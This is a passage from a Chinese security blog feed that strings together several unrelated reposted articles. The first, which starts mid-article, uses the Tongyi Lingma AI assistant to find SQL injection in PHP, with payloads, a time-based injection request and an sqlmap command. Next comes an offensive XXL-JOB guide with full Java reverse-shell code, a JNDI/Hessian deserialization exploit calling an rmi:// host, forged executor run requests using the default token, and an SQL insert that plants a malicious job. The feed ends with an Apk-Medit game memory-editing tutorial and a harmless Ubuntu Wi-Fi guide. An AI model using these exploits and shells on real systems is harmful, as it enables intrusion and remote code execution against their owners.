如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 key 为 1' OR '1'='1,查询条件将变为 a.title LIKE '%1\' OR \'1\'=\'1%',这将导致查询返回所有记录。

2. editState 方法中的 where 条件

if(db('ad')->where('id='.$id)->update(['open'=>$open])!==false){


成因分析:$id 是从用户输入的 post.id 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

3. del 方法中的 where 条件

db('ad')->where(array('id'=>input('id')))->delete();

成因分析:虽然这里使用了数组形式的 where 条件,但在某些情况下,如果 input('id') 是一个复杂的表达式,仍然可能存在风险。

最好使用参数绑定来确保安全性。

4. delall 方法中的 where 条件

$map[] =array('id','in',input('param.ids/a'));
db('ad')->where($map)->delete();

成因分析:input('param.ids/a') 直接用于 IN 子句,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 ids 为 1,2,3) OR 1=1 --,查询条件将变为 id IN (1,2,3) OR 1=1 --,这将导致删除所有记录。

比如说我们想聚焦到其中一个方法下面,具体对其进行研究和复现,可以使用如下prompt:

请详细讨论editState 方法中的 where 条件

灵码就会针对该方法进行详细的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
问题分析
用户输入直接拼接到 SQL 语句中:$id 和 $open 是从用户输入的 POST 请求中直接获取的,没有进行任何验证或转义。

这种做法非常危险,因为用户可以通过构造恶意的输入来注入 SQL 代码。

SQL 注入风险:如果用户输入的 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

类似地,如果用户输入的 open 为 1; DROP TABLE ad; --,可能会导致更严重的后果。

示例攻击
假设用户发送以下 POST 请求:

POST /admin/ad/editState HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

id=1 OR 1=1&open=1

生成的 SQL 语句将是:

UPDATE `ad` SET `open` = 1 WHERE id = 1 OR 1=1

这条 SQL 语句将更新表 ad 中的所有记录,而不是仅仅更新 id 为 1 的记录。

image

对应的,我们直接去web界面的广告管理模块,找到调用editState方法的位置

image

抓包如下,构造延迟注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/ad/editstate.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/ad/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=bs9fg0tv537v13ooprl3j6v6bb; skin=0
Connection: close

id=38 and sleep(5)&open=1

验证发现可以延迟

image

随后采用SQLmap进行验证存在

1
py sqlmap.py -r url.txt --batch --dbms=mysql --is-dba

image

workspace工作空间分析

除去对当前代码的基础分析外,灵码也可以对当前的工作空间进行整体分析:

image

进入workspace工作空间模式下,此时它可以直接读到本地项目,所以我们可以指明文件的目录位置来进行prompt提问:

@workspace
请你分析application/admin/controller/Common.php文件,判断出其中存在的安全漏洞。

灵码给出的回复如下:

image

如若不指出,也可以直接提问让其在整个工作空间下寻找漏洞点:

请指出该程序中可能存在的安全漏洞并加以简要分析

但是这种方法的缺点就在于”随机性”太强,因为灵码的输出字符数有限,且它引用的你本地代码文件数量有限,所以极有可能出现每次结果都完全不一样的情况,如果存在漏洞点较多,它的输出就更加模糊了。

image

这个功能的一些好处在于,它不仅能够帮助开发者更深入地理解自己的代码库,还能根据现有代码的逻辑和编程风格提供更加个性化、更加贴合实际需求的代码片段或优化建议。例如,通过分析现有的编码模式,该功能可以识别出重复的代码模板或者常见的开发习惯,进而提出改进措施来提高代码的可读性和效率。此外,对于那些希望保持项目一致性或是遵循特定设计模式的团队来说,这种定制化的反馈是非常有价值的。它还可以帮助识别潜在的bug或性能瓶颈,从而提升软件的质量与运行效率。

总结及展望

我接触灵码也已经快两年了,之前一直都是用来写运维脚本,这是我第一次尝试结合AI工具来辅助代码审计,在实际应用中,通义灵码的表现确实是超出了我的预期。它不仅帮助我快速定位了多个潜在的安全漏洞,而且还极大地提升了审计工作的效率。这一经历让我深刻认识到,AI技术在软件安全领域的应用前景广阔,尤其是在提高代码审查质量和速度方面具有显著优势。

但同时,它仍然存在可提升空间:

  • 在理解和解释复杂业务逻辑方面的能力还有待加强,尤其是在面对非标准或高度定制化的代码时,其表现不尽如人意。
  • 在workspace模式下,有些过于僵硬,不能很好的理解我的需求

回望过去两年灵码能力的大幅度增强,我们有理由相信它在未来会变得更加智能和高效,能够更好地应对复杂代码结构和逻辑,减少误报率,提高漏洞检测的准确性。同时,通过不断优化用户体验,灵码将能够更好地适应多样化的需求,提供更加个性化和定制化的服务,使开发者和安全研究人员能够更专注于核心问题的解决。

XXL-JOB在真实攻防下的总结

XXL-JOB在真实攻防下的总结

本文转自 Air 并作补充

最近在HW中经常会遇到XXL-JOB这个组件,也通过这个组件进入了不少目标单位,那就对该组件的利用进行一次总结。

一、最基本的操作-计划任务命令执行

这个操作我相信大家已经熟的不能再熟了,因为xxl-job的初始化sql语句中设定了默认密码,而且在登入之后不会提示修改默认密码,就造成了xxl-job的默认账号密码为admin/123456。

由于xxl-job本身是任务调度的系统,其可以自然执行命令。通常会反弹shell,再进行后渗透,只需要在新建命令时选择对应的脚本语言,在GLUE IDE中编辑命令,选择执行一次即可。

image

image

image

这种方式有几个容易踩坑的点:

1、选择执行命令的种类与系统不匹配

image

因为xxl-job的exector在生产环境中常常跑在docker环境下的linux下,就会造成一个惯性思维:当我们拿到一个xxl-job的往往会先使用shell去执行命令。

image

当失败的时候就会以为是环境有问题,打不动。

却不知有时xxl-job也可以跑在Windows下。这时候就可以去执行Powerhshell命令去上线。当然如果比较懒的话可以直接执行java代码来上线。无论Windows和linux都可以反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class reverse {
class StreamConnector
extends Thread
{
InputStream hx;
OutputStream il;

StreamConnector(InputStream hx, OutputStream il)
{
this.hx = hx;
this.il = il;
}

public void run()
{
BufferedReader ar = null;
BufferedWriter slm = null;
try
{
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0)
{
slm.write(buffer, 0, length);
slm.flush();
}
}
catch (Exception localException) {}
try
{
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
}
catch (Exception localException1) {}
}
}
public reverse()
{
reverseConn("ip:port");
}

public static void main(String[] args)
{
System.out.println("0");
}

public void reverseConn(String ip)
{
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}

2、反弹shell

在实战中会碰到executor不出网的情况。即执行了反弹shell的命令之后在vps上未收到回显,这时就要去思考executor是否出网或者是注册executor是否失效。
我们可以去执行器中查看其注册方式

image

我们去正常来说自动注册的executor是不会出问题的。因为从代码实现来看xxl-job的executor每隔2min就会向adminer发送心跳证明其存活。而自己注册的可能就不一定可以打通。

二、api未授权访问

在xxl-job<=2.0.2的时候api存在未授权访问,有两种方式可以getshell。

1、利用jndi注入去打内存马

这个已经被人讲过好多次了,但是利用的前提就是需要出网,使用marshalsec去生成payload

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser

再利用curl去发包即可,注意尽量使用linux或者Windows的cmd去发包,实测Windows下powershell发包可能会出现一些问题。

1
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。

详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

三、执行命令注入内存马

这种同样是不出网时才考虑的操作。注入的是agent内存马,这个利用的条件其实也有点苛刻,一般来说xxl-job的executor常常跑在docker环境下或者分布式部署。而要想注入agent类型的内存马就需要admin端和executor跑在一台主机下。方法就是使用echo方法或者java的写入文件的方法将agent内存马写到目标主机上,然后在进行加载。具体利用方法可参照。XXL-JOB 深度利用

四、奇技淫巧-从数据库getShell

这也是实战中遇到的一个案例,目标单位存在一个nacos的身份伪造漏洞,获取到了数据库的配置文件,成功的连上了数据库,当然我们可以去尝试udf提权或者猜目录去写马,但我发现数据库中存在xxl_job的数据库,这时候其实就有更多的方法去getshell。

image

image

这时候通常有两种利用方式:1、获取到xxl-job的密码,登入xxl-job去写计划任务进行命令执行getshell。2、直接通过往数据库里写内容进行getshell。

1、登入xxl-job进行getshell

这种方式通常适用于xxl-job-admin的服务暴露在互联网上。我们可以通过语句select * from information_schema.PROCESSLIST;来判断客户端连接。由于我是在本地跑的环境,这里就是localhost,如果是通过公网ip去连接的数据库,我们就可以定位到其公网ip,扫一下端口即可判断xxl-job-admin是否暴露在公网上了。

image

如果暴露在公网上,我们便可以直接利用,xxl-job密码为md5加密,我们首先可以尝试md5解密,解不开的话新增一个用户,密码用md5加密即可。登入成功之后我们便可以通过计划任务进行命令执行了。

image

2、通过向数据库中写入数据进行getshell

这是我偶然发现的一个小trick,其实原理很简单,xxl-job-admin会定时从数据库中查询待执行的任务,在一定时间内执行。也就是说,我们只需要往数据库里插入我们构造好的恶意定时任务。他便会让executor去执行。当前测试版本为2.4.1(不同版本的xxl-job的数据库结构不太相同,以最新版的为例,旧版的在之前遇到的环境中经测试也能打通。)

只需要在xxl_job.xxl_job_info中插入这条语句即可

1
2
3
INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`)
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);

其中有几个值得关注的点:

schedule_typecorn轮询,0/5 * * * * ?则是计划任务执行的时间我这里设定为5秒1次。executor_handler则是执行命令的类型,我这里因为在Windows下测试,故而选择为powershell,也可变为GLUE_SHELL或者GLUE_GROOVY等来应对不同的命令。目前我们只是插入了命令,并不能执行,要是想执行,还需要在插入数据之后把trigger_status的值改为1,executor便会自动开始执行我们输入的命令。

五、executor未授权访问

xxl-job的executeor存在未授权访问漏洞,指纹如下图所示

低版本

image

高版本

image

其原因就是admin端与executeor端通过互相发送tcp包进行通信,攻击者可伪造包,使executeor执行命令。

该漏洞主要分为三个阶段

1、XxlJob<2.1.2,需要利用Hessian触发

参考这个项目即可RCE
https://github.com/OneSourceCat/XxlJob-Hessian-RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.example;

import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;

import com.xxl.rpc.serialize.impl.HessianSerializer;
import org.asynchttpclient.AsyncCompletionHandler;
import org.asynchttpclient.AsyncHttpClient;
import org.asynchttpclient.DefaultAsyncHttpClient;
import org.asynchttpclient.Response;

import java.io.IOException;
import java.util.Date;

public class App {

private static void sendData(String url, byte[] bytes) {
AsyncHttpClient c = new DefaultAsyncHttpClient();

try{
c.preparePost(url)
.setBody(bytes)
.execute(new AsyncCompletionHandler<Response>() {
@Override
public Response onCompleted(Response response) throws Exception {
System.out.println("Server Return Data: ");
System.out.println(response.getResponseBody());
return response;
}

@Override
public void onThrowable(Throwable t) {
System.out.println("HTTP出现异常");
t.printStackTrace();
super.onThrowable(t);
}
}).toCompletableFuture().join();

c.close();
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
c.close();
} catch (IOException e) {
e.printStackTrace();
}
}


}

public static void main( String[] args ) throws Exception {

String code = "package com.xxl.job.service.handler;\n" +
"\n" +
"import com.xxl.job.core.log.XxlJobLogger;\n" +
"import com.xxl.job.core.biz.model.ReturnT;\n" +
"import com.xxl.job.core.handler.IJobHandler;\n" +
"import java.lang.Runtime;\n" +
"\n" +
"public class DemoGlueJobHandler extends IJobHandler {\n" +
"\n" +
"\t@Override\n" +
"\tpublic ReturnT<String> execute(String param) throws Exception {\n" +
" \tRuntime.getRuntime().exec(\"calc\");\n" +
"\t\treturn ReturnT.SUCCESS;\n" +
"\t}\n" +
"\n" +
"}\n";

System.out.println(code);

TriggerParam params = new TriggerParam();
params.setJobId(10);
params.setExecutorBlockStrategy("SERIAL_EXECUTION");
params.setLogId(10);
params.setLogDateTime((new Date()).getTime());
params.setGlueType("GLUE_GROOVY");
params.setGlueSource(code);
params.setGlueUpdatetime((new Date()).getTime());

XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
xxlRpcRequest.setRequestId("111");
xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
xxlRpcRequest.setMethodName("run");
xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
xxlRpcRequest.setParameters(new Object[] {params});
xxlRpcRequest.setCreateMillisTime((new Date()).getTime());

HessianSerializer serializer = new HessianSerializer();

byte[] data = serializer.serialize(xxlRpcRequest);
sendData("http://127.0.0.1:9999", data);

}
}

2、2.2.0<=XxlJob<=2.4.0

支持了RESTFUL API,可以直接发送http包伪造
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

3、XxlJob >= 2.4.0添加了默认token

作者为了修复该漏洞,添加了默认的token,但是这就如同nacos的jwt秘钥,shiro的默认key一样,由于使用者的粗心大意不修改该key,还是可以被利用
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

如何使用Apk-Medit对APK进行内存搜索和数据修改

如何使用Apk-Medit对APK进行内存搜索和数据修改

本文转自 Alpha_h4ck 并作补充

写在前面的话

内存修改往往是在游戏中实现作弊的最简单方法,而且内存也是我们在安全测试过程中必须要去面对和检测的一个内容。虽然现在社区也已经有类似GameGuardian这种的工具了,但现在还没有针对非Root设备的类似工具。Apk-Medit这款工具是一个针对可调式APK的内存搜索和数据修改工具,该工具专为移动端游戏安全测试而设计,我们可以在非Root设备(无需NDK)中使用该工具。

工具安装

首先,我们需要访问该项目的【GitHub Releases页面】来下载该项目源码。下载完成之后,我们需要将代码拷贝至目标安卓设备的/data/local/tmp/目录下:

1
2
3
$ adb push medit /data/local/tmp/medit

medit: 1 file pushed. 29.0 MB/s (3135769 bytes in 0.103s)

代码构建

我们可以使用make命令来完成代码的构建,这里要求使用Go编译器。代码构建完成之后,使用adb连接设备,它将会把构建好的代码推送至目标Android设备的/data/local/tmp/目录下:

1
2
3
4
5
6
7
$ make

GOOS=linux GOARCH=arm64 GOARM=7 go build -o medit

/bin/sh -c "adb push medit /data/local/tmp/medit"

medit: 1 file pushed. 23.7 MB/s (3131205 bytes in 0.126s)

工具命令

搜索

在内存中搜索特定的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
> find 999982

Search UTF-8 String...

Target Value: 999982([57 57 57 57 56 50])

Found: 0!

------------------------

Search Word...

parsing 999982: value out of range

------------------------

Search Double Word...

Target Value: 999982([46 66 15 0])

Found: 1!

Address: 0xe7021f70

我们还可以指定目标数据类型,比如说字符串、dword和qword等等:

1
2
3
4
5
6
7
8
9
> find dword 999996

Search Double Word...

Target Value: 999996([60 66 15 0])

Found: 1!

Address: 0xe7021f70

过滤

我们可以对搜索结果进行过滤,并匹配当前的搜索值:

1
2
3
4
5
6
7
8
9
> filter 993881

Check previous results of searching dword...

Target Value: 993881([89 42 15 0])

Found: 1!

Address: 0xe7021f70

数据修改

我们可以直接修改目标地址的数据值:

1
2
3
> patch 10

Successfully patched!

ps命令

寻找目标进程,如果只有一个的话,我们可以使用ps命令来自动指定:

1
2
3
4
5
> ps

Package: jp.aktsk.tap1000000, PID: 4398

Target PID has been set to 4398.

绑定进程

如果目标PID是通过ps命令设置的,我们就可以跟目标进程进行绑定,并通过ptrace来终止App内的所有进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
> attach

Target PID: 4398

Attached TID: 4398

Attached TID: 4405

Attached TID: 4407

Attached TID: 4408

Attached TID: 4410

Attached TID: 4411

Attached TID: 4412

Attached TID: 4413

Attached TID: 4414

Attached TID: 4415

Attached TID: 4418

Attached TID: 4420

Attached TID: 4424

Attached TID: 4429

Attached TID: 4430

Attached TID: 4436

Attached TID: 4437

Attached TID: 4438

Attached TID: 4439

Attached TID: 4440

Attached TID: 4441

Attached TID: 4442

如果目标PID没有设置的话,我们就需要在命令行中专门指定了:

1
> attach <pid>

解绑进程

解绑已绑定的进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
> detach

Detached TID: 4398

Detached TID: 4405

Detached TID: 4407

Detached TID: 4408

Detached TID: 4410

Detached TID: 4411

Detached TID: 4412

Detached TID: 4413

Detached TID: 4414

Detached TID: 4415

Detached TID: 4418

Detached TID: 4420

Detached TID: 4424

Detached TID: 4429

Detached TID: 4430

Detached TID: 4436

Detached TID: 4437

Detached TID: 4438

Detached TID: 4439

Detached TID: 4440

Detached TID: 4441

Detached TID: 4442

导出

显示内存导出数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> dump 0xf0aee000 0xf0aee300

Address range: 0xf0aee000 - 0xf0aee300

----------------------------------------------

00000000 34 32 20 61 6e 73 77 65 72 20 28 74 6f 20 6c 69 |42 answer (to li|

00000010 66 65 20 74 68 65 20 75 6e 69 76 65 72 73 65 20 |fe the universe |

00000020 65 74 63 7c 33 29 0a 33 31 34 20 70 69 0a 31 30 |etc|3).314 pi.10|

00000030 30 33 20 61 75 64 69 74 64 20 28 61 76 63 7c 33 |03 auditd (avc|3|

00000040 29 0a 31 30 30 34 20 63 68 61 74 74 79 20 28 64 |).1004 chatty (d|

00000050 72 6f 70 70 65 64 7c 33 29 0a 31 30 30 35 20 74 |ropped|3).1005 t|

00000060 61 67 5f 64 65 66 20 28 74 61 67 7c 31 29 2c 28 |ag_def (tag|1),(|

00000070 6e 61 6d 65 7c 33 29 2c 28 66 6f 72 6d 61 74 7c |name|3),(format||

00000080 33 29 0a 31 30 30 36 20 6c 69 62 6c 6f 67 20 28 |3).1006 liblog (|

00000090 64 72 6f 70 70 65 64 7c 31 29 0a 32 37 31 38 20 |dropped|1).2718 |

000000a0 65 0a 32 37 31 39 20 63 6f 6e 66 69 67 75 72 61 |e.2719 configura|

000000b0 74 69 6f 6e 5f 63 68 61 6e 67 65 64 20 28 63 6f |tion_changed (co|

000000c0 6e 66 69 67 20 6d 61 73 6b 7c 31 7c 35 29 0a 32 |nfig mask|1|5).2|

000000d0 37 32 30 20 73 79 6e 63 20 28 69 64 7c 33 29 2c |720 sync (id|3),|

000000e0 28 65 76 65 6e 74 7c 31 7c 35 29 2c 28 73 6f 75 |(event|1|5),(sou|

000000f0 72 63 65 7c 31 7c 35 29 2c 28 61 63 63 6f 75 6e |rce|1|5),(accoun|

退出

如需退出该工具,可以使用exit命令或按下Ctrl+D:

1
2
3
> exit

Bye!

工具测试

我们可以使用make命令来运行测试代码:

1
$ make test

工具使用Demo

image

image

Ubuntu Server 配置无线网络

Ubuntu Server 配置无线网络

本文转自 muzing 并作补充

本文简单记录了在 Ubuntu Server 22.04 上通过 Netplan 工具配置网络,连接到 WLAN 的过程。

准备工作

安装无线网络相关配置工具:

  • network-manager - 网络管理工具
  • wpasupplicant - 提供对 WPA 加密的支持
  • wireless-tools - 提供 iwconfig、iwlist 等无线网络配置工具
1
sudo apt install network-manager wpasupplicant wireless-tools

查看网卡硬件:

1
2
3
ifconfig -a
# 或者使用
ip a

image

根据上面的查询结果获得无线网卡名称,记住该名称。(无线网卡的名称一般以 wlanwlp 开头,详情参考本文附录a。)

如果没有看到列出无线网卡,除硬件故常或接触不良外,还可能是因为无线网卡未启动。可以尝试使用如下命令将其启动:

1
sudo ifconfig wlan0 up  # 启动名为 wlan0 的网络设备

扫描无线网络

在准备工作中已经安装了 wireless-tools,可以使用 iwlist 命令扫描当前环境中的 Wi-Fi 信号:

1
sudo iwlist wlan0 scan  # 注意将 wlan0 换成实际无线网卡的设备名

输出的结果非常详细,也非常长:

image

如果太多信息造成干扰,可以使用 Linux 的 grep 命令对输出信息进行筛选,例如:

1
2
sudo iwlist wlan0 scan | grep ESSID  # 仅查看 Wi-Fi 名称
sudo iwlist wlan0 scan | grep -E "Quality|ESSID" # 查看 Wi-Fi 名称和网络质量

image

编辑配置文件

进入 Netplan 配置目录,查看其中的默认配置文件:

1
2
3
$ cd /etc/netplan/
$ ls
50-cloud-init.yaml

此机器上的配置文件名为 50-cloud-init.yaml。由于安装方式、系统版本等差异,配置文件的名称可能有所不同,但都是 yaml 格式、位于 /etc/netplan/ 下,根据实际情况使用。使用管理员权限编辑该文件:

1
sudo vim /etc/netplan/50-cloud-init.yaml

添加如下内容:

1
2
3
4
5
6
wifis:
wlan0:
dhcp4: true
access-points:
"你的ssid":
password: "你的密码"

其中 wlan0 为无线网卡名称,dhcp4 表示开启自动IP地址分配,在 access-points 下可以设置多组 ssid(即通常所说的“Wi-Fi名称”)与密码。

更新后,配置文件内容大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
network:
version: 2
renderer: NetworkManager

ethernets:
eth0:
dhcp4: true
optional: true

wifis:
wlan0:
dhcp4: true
access-points:
"wifi_name1":
password: "mypassword"
"666":
password: "66666666"

连接网络

修改配置文件后,不要立即将其应用生效,而要先使用 netplan try 命令验证新的配置是否有效:

1
sudo netplan try  # 检查配置文件中是否有语法错误、尝试用新的配置

image

如果新的网络配置没有问题,则会出现上面的界面,按下键盘 ENTER 确认即可。如果此时本来就是通过网络以 SSH 方式控制服务器,而新的网络配置出现问题导致连接断开,也不必惊慌,等待两分钟让 netplan 恢复之前的配置即可。

1
2
sudo netplan generate  # 生成 renderers 所需的配置文件
sudo netplan apply # 应用 netplan 新配置,将自动重启 network-manager 使修改生效

检查是否已连接至网络(以下任一条命令均可):

1
2
3
iwconfig
ifconfig
ip a

如仍未连接至网络,可以尝试手动重启 NetworkManager 或服务器:

1
2
sudo systemctl restart NetworkManager.service
sudo reboot

附录a:网卡设备名称简析

在使用 ifconfig -aip a 列出本机所有网卡设备名称时,可能看到若干名称,其含义简单分析如下:

  • lo 表示 local
  • en 表示 ethernet 以太网
  • wl 表示 wlan,即 Wireless Local Area Network 无线局域网
  • 后面的 p2s0 等表示 PCIe 接口的物理位置(bus, slot),总线与插槽

例如, wlp4s0 表示一张位于 PCIe 总线4 插槽0 的无线网卡。

附录b:树莓派连接无线网络

在使用新安装 Ubuntu Server 系统的树莓派时,可能遇到手头没有显示器、也没有有线网络连接的情况。这时本可以通过电脑 SSH 连接至树莓派进行远程开发,但前提是树莓派必须已经接入无线局域网络;而为了让树莓派接入网络,又需要用 SSH 连接后才能修改 Netplan 配置文件,陷入僵局。解决问题的办法是,在树莓派系统启动之前就完成对网络的配置:通过修改安装着树莓派的操作系统的存储卡中的特定文件即可实现。

将存储卡通过读卡器连接到电脑,可以看到 system-boot 和 writable 两个分区,打开 system-boot 分区,搜索名为 network-config 的文件:

image

使用文本编辑工具打开该文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# This file contains a netplan-compatible configuration which cloud-init will
# apply on first-boot (note: it will *not* update the config after the first
# boot). Please refer to the cloud-init documentation and the netplan reference
# for full details:
#
# https://netplan.io/reference
# https://cloudinit.readthedocs.io/en/latest/topics/network-config.html
# https://cloudinit.readthedocs.io/en/latest/topics/network-config-format-v2.html
# ...

# Some additional examples are commented out below

network:
version: 2

ethernets:
eth0:
dhcp4: true
optional: true

# wifis:
# wlan0:
# dhcp4: true
# optional: true
# access-points:
# myhomewifi:
# password: "S3kr1t"
# myworkwifi:
# password: "correct battery horse staple"
# workssid:
# auth:
# key-management: eap
# method: peap
# identity: "me@example.com"
# password: "passw0rd"
# ca-certificate: /etc/my_ca.pem

可以看到,该文件的格式与语法正是 Netplan 形式,用于在首次启动系统时初始化 Netplan 配置。参考原本注释掉的示例和本文正文,编辑该配置文件,添加 Wi-Fi 信息并保存。

完成配置文件的编辑后,将存储卡插回到树莓派中,通电开机,即会自动连接至无线网络。进入路由器后台管理,即可看到设备名为 ubuntu 的设备,记住其局域网 IP 地址,在电脑上使用 ssh 连接即可:

1
ssh ubuntu@192.168.3.24

如果没有路由器的管理员权限,无法进入后台查看树莓派的 IP,可以在电脑上尝试使用 Angry IP Scanner 等 IP 扫描工具寻找。

附录c:Netplan原理简述

Netplan 本身只是一个用于网络配置的辅助小工具,它将读取 /etc/netplan/*.yaml 配置文件,然后据此生成 renderer 所需的配置文件,并重启 renderer 使修改生效。目前 Netplan 支持的 renderer 包括 NetworkManagerSystemd-networkd 两种。这样用户只需修改简洁清晰、YAML格式、统一的 Netplan 配置文件,而无需为每个 renderer 编辑其配置文件。

image

参考